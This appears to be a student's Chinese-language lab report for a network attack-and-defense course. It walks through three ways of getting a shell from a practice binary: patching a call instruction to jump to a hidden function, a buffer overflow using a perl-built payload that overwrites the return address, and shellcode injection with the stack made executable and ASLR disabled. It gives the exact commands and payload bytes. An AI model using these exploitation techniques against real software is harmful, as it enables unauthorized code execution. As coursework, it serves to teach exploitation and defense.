20252905 2025-2026-2 《网络攻防实践》第九周作业
20252905 2025-2026-2 《网络攻防实践》第九周作业
实践内容
1.知识点梳理与总结
| 实践任务 | 核心原理 | 关键技术 | 关键汇编/机器码 |
|---|---|---|---|
| 1. 修改程序执行路径 | 修改二进制文件,将call foo改为jmp getShell |
objdump反汇编、xxd十六进制编辑 |
call → e8jmp → e9 |
| 2. BOF触发getShell | 缓冲区溢出覆盖返回地址,跳转至getShell |
gdb调试、perl构造payload |
ret返回指令getShell地址覆盖 |
| 3. 注入Shellcode | 注入Shellcode,跳转至缓冲区执行 | NOP sled、关闭ASLR |
NOP → 0x90int 0x80系统调用 |
2.实验过程
任务1:
1.解压学习通文件,并进行重命名,对其进行反汇编操作

输入命令进行反汇编 objdump -d pwn1_20252905zzy | more

2.查看对应函数

3.安装xxd,输入apt install xxd

4.输入解压文件名 vim pwn1_20252905zzy

5.切换为十六进制模式 :%!xxd

6.修改文件并进行保存,输入i进入修改模式,将e8d7修改为e8c3,按ESC并输入:wq进行保存

7.查看main函数调用信息

8.运行pwn1文件,获取系统权限

任务2:
1.设置溢出值

2.安装gdb

3.使用gdb对文件进行调试

4.检测哪些输入的内容会溢出覆盖,先输入gdb pwn20252905,再输入r,再1111111122222222333333334444444455555555,回车,输入info r

5.尝试调用getshell

输入:perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > pwn20252905_input
xxd pwn20252905_input

输入(cat pwn20252905_input; cat) | ./pwn20252905 ,ls查看后,发现已获取到目标权限

任务3:
1.安装execstack
http://mirrors.aliyun.com/ubuntu/pool/universe/p/prelink/execstack_0.0.20131005-1.1_amd64.deb
sudo dpkg -i execstack_0.0.20131005-1.1_amd64.deb

2.设置刚刚创建的程序堆栈是否可执行

3.查看地址随机化情况

4.将perl生成的字符串存储全部存储到pwn20252905_input中去


5.尝试进行注入攻击,终端1开始注入并维持对话,终端2查看当前进程号,此时为4860,终端3进行gdb调试并设置相应断点


6.查看栈顶指针位置

7.跳出gdb调试,并输入指令测试是否拿到了shell,发现可以运行管理指令,实验完成

3.学习中遇到的问题及解决
-问题1:实验1的最后那部分,先保存再执行没法进行,无法查看main文件,怀疑是没有恢复为二进制,但改为二进制后重复几次仍然无法执行

解决方案:一定要先转化为二进制再保存,否则后续操作无法进行,正确操作为 按ESC,输入:%!xxd -r 还原为原格式后再:wq保存退出
-问题2:感觉整个实验看得晕晕乎乎的,需要整理一下逻辑
解决办法:pwn1是一个正常程序,一般情况下从main部分进入,但程序中有foo这个漏洞,会回显输入的任何内容,因此考虑可以借此触发getshell。本次实验通过三种方法进行,首先就是直接修改地址,通过反汇编拿到getshell地址,修改foo指向的地址从而获取shell;其次是内存溢出,通过32字节填充+getshell地址,从而覆盖正常的返回地址,跳转到getshell;最后是代码注入,关闭系统的地址随机化,用perl生成payload载荷攻击,用自行编写的代码进行执行,从而拿到shell。至此对实验内容有一点清楚了。
3.学习感悟、思考等
本次实验通过手工修改可执行文件、利用缓冲区溢出漏洞触发隐藏函数、以及注入并执行自定义Shellcode三种方式,成功实现了对pwn1程序的攻击控制。三种方法层层递进:从静态修改机器指令改变程序执行流,到动态构造输入覆盖返回地址,再到注入代码并跳转执行,完整展现了二进制漏洞利用从简单到复杂的核心思路。实验过程中,我掌握了objdump反汇编、xxd十六进制编辑、gdb调试以及perl/python构造攻击载荷的基本技能,对call、jmp、ret、NOP等汇编指令的机器码有了直观认识。
通过本次实践,我深入理解了函数调用过程中栈帧结构与返回地址的关键作用,明白了缓冲区溢出漏洞的本质——输入数据超出缓冲区边界,覆盖了栈上的关键控制信息。同时,实验也让我意识到程序安全防护的重要性:现代操作系统的ASLR、栈保护、NX等机制正是为了阻断此类攻击。这次实践不仅锻炼了我的动手能力,更让我对软件漏洞利用与防御有了从理论到实践的完整认知。
参考资料
教学视频
浙公网安备 33010602011771号